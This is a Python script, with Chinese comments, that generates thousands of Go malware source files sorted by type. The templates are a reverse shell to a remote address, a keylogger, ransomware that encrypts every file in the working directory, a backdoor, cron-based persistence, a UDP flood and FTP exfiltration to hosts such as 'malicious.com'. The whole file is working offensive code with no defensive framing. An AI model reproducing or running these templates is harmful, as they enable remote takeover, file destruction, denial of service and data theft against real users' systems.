import os
import random

# 创建木马类型对应的文件夹
def create_directories():
    directories = ['reverse_shell', 'keylogger', 'ransomware', 'backdoor', 'persistence_backdoor', 'dos_attack', 'ftp_exfiltration']
    for directory in directories:
        if not os.path.exists(directory):
            os.makedirs(directory)

# 木马类型生成函数（Go语言）
def generate_reverse_shell_go(ip, port):
    return f"""
package main

import (
    "net"
    "os/exec"
    "bufio"
)

func main() {{
    conn, _ := net.Dial("tcp", "{ip}:{port}")
    for {{
        message, _ := bufio.NewReader(conn).ReadString('\\n')
        cmd := exec.Command("/bin/sh", "-c", message)
        output, _ := cmd.Output()
        conn.Write(output)
    }}
}}
"""

def generate_keylogger_go(logfile):
    return f"""
package main

import (
    "os"
    "os/exec"
)

func main() {{
    logfile := "{logfile}"
    cmd := exec.Command("xinput", "test", "0")
    cmd.Stdout = os.Stdout
    cmd.Stderr = os.Stderr
    log, _ := os.Create(logfile)
    defer log.Close()
    cmd.Stdout = log
    cmd.Run()
}}
"""

def generate_ransomware_go(encryption_key):
    return f"""
package main

import (
    "os"
    "io/ioutil"
    "github.com/gtank/cryptopasta"
)

func encryptFile(filename string, key []byte) {{
    data, _ := ioutil.ReadFile(filename)
    encryptedData, _ := cryptopasta.Encrypt(data, &key)
    ioutil.WriteFile(filename, encryptedData, 0644)
}}

func main() {{
    key := []byte("{encryption_key}")
    files, _ := ioutil.ReadDir(".")
    for _, file := range files {{
        if !file.IsDir() {{
            encryptFile(file.Name(), key)
        }}
    }}
}}
"""

def generate_backdoor_go():
    ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
    port = random.randint(1024, 65535)
    return f"""
package main

import (
    "net"
    "os/exec"
)

func main() {{
    conn, _ := net.Dial("tcp", "{ip}:{port}")
    for {{
        cmd := exec.Command("/bin/sh", "-c", "ls")
        output, _ := cmd.Output()
        conn.Write(output)
    }}
}}
"""

def generate_persistence_backdoor_go():
    return f"""
package main

import (
    "os"
    "os/exec"
)

func main() {{
    home := os.Getenv("HOME")
    backdoorPath := home + "/.backdoor{random.randint(1, 1000)}"
    _, err := os.Stat(backdoorPath)
    if os.IsNotExist(err) {{
        exec.Command("cp", os.Args[0], backdoorPath).Run()
        exec.Command("chmod", "+x", backdoorPath).Run()
        exec.Command("sh", "-c", "echo '@reboot " + backdoorPath + "' | crontab -").Run()
    }}
}}
"""

def generate_dos_attack_go(target_ip, port):
    payload_size = random.randint(512, 2048)
    return f"""
package main

import (
    "net"
)

func main() {{
    addr := "{target_ip}:{port}"
    conn, _ := net.Dial("udp", addr)
    payload := make([]byte, {payload_size})
    for {{
        conn.Write(payload)
    }}
}}
"""

def generate_ftp_exfiltration_go(server, username, password):
    file_to_exfiltrate = f"exfiltrate_{random.randint(1, 100)}.txt"
    return f"""
package main

import (
    "github.com/jlaffaye/ftp"
    "os"
)

func main() {{
    conn, _ := ftp.Dial("{server}:21")
    conn.Login("{username}", "{password}")
    file, _ := os.Open("{file_to_exfiltrate}")
    conn.Stor("{file_to_exfiltrate}", file)
    file.Close()
    conn.Quit()
}}
"""

# 随机生成木马脚本类型并返回其目录名和生成的代码（Go语言）
def random_trojan_generator_go():
    types = {
        'reverse_shell': generate_reverse_shell_go,
        'keylogger': generate_keylogger_go,
        'ransomware': generate_ransomware_go,
        'backdoor': generate_backdoor_go,
        'persistence_backdoor': generate_persistence_backdoor_go,
        'dos_attack': generate_dos_attack_go,
        'ftp_exfiltration': generate_ftp_exfiltration_go
    }

    selected_type = random.choice(list(types.keys()))
    if selected_type == 'reverse_shell':
        ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(1024, 65535)
        return selected_type, types[selected_type](ip, port)
    elif selected_type == 'keylogger':
        logfile = f"keylogs_{random.randint(1, 1000)}.log"
        return selected_type, types[selected_type](logfile)
    elif selected_type == 'ransomware':
        encryption_key = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=16))
        return selected_type, types[selected_type](encryption_key)
    elif selected_type == 'backdoor':
        return selected_type, types[selected_type]()
    elif selected_type == 'persistence_backdoor':
        return selected_type, types[selected_type]()
    elif selected_type == 'dos_attack':
        target_ip = f"192.168.{random.randint(0, 255)}.{random.randint(0, 255)}"
        port = random.randint(80, 8080)
        return selected_type, types[selected_type](target_ip, port)
    elif selected_type == 'ftp_exfiltration':
        server = f"ftp.{random.choice(['example.com', 'test.com', 'malicious.com'])}"
        username = f"user{random.randint(100, 999)}"
        password = f"pass{random.randint(1000, 9999)}"
        return selected_type, types[selected_type](server, username, password)

# 批量生成Go语言木马脚本，并保存到对应类型的文件夹中
def generate_trojans_go(batch_size):
    create_directories()
    counters = {key: 1 for key in ['reverse_shell', 'keylogger', 'ransomware', 'backdoor', 'persistence_backdoor', 'dos_attack', 'ftp_exfiltration']}

    for _ in range(batch_size):
        trojan_type, trojan_code = random_trojan_generator_go()
        filename = f"{trojan_type}/trojan_{counters[trojan_type]}.go"
        with open(filename, "w") as f:
            f.write(trojan_code)
        counters[trojan_type] += 1

# 生成500个Go语言木马脚本
generate_trojans_go(2500)
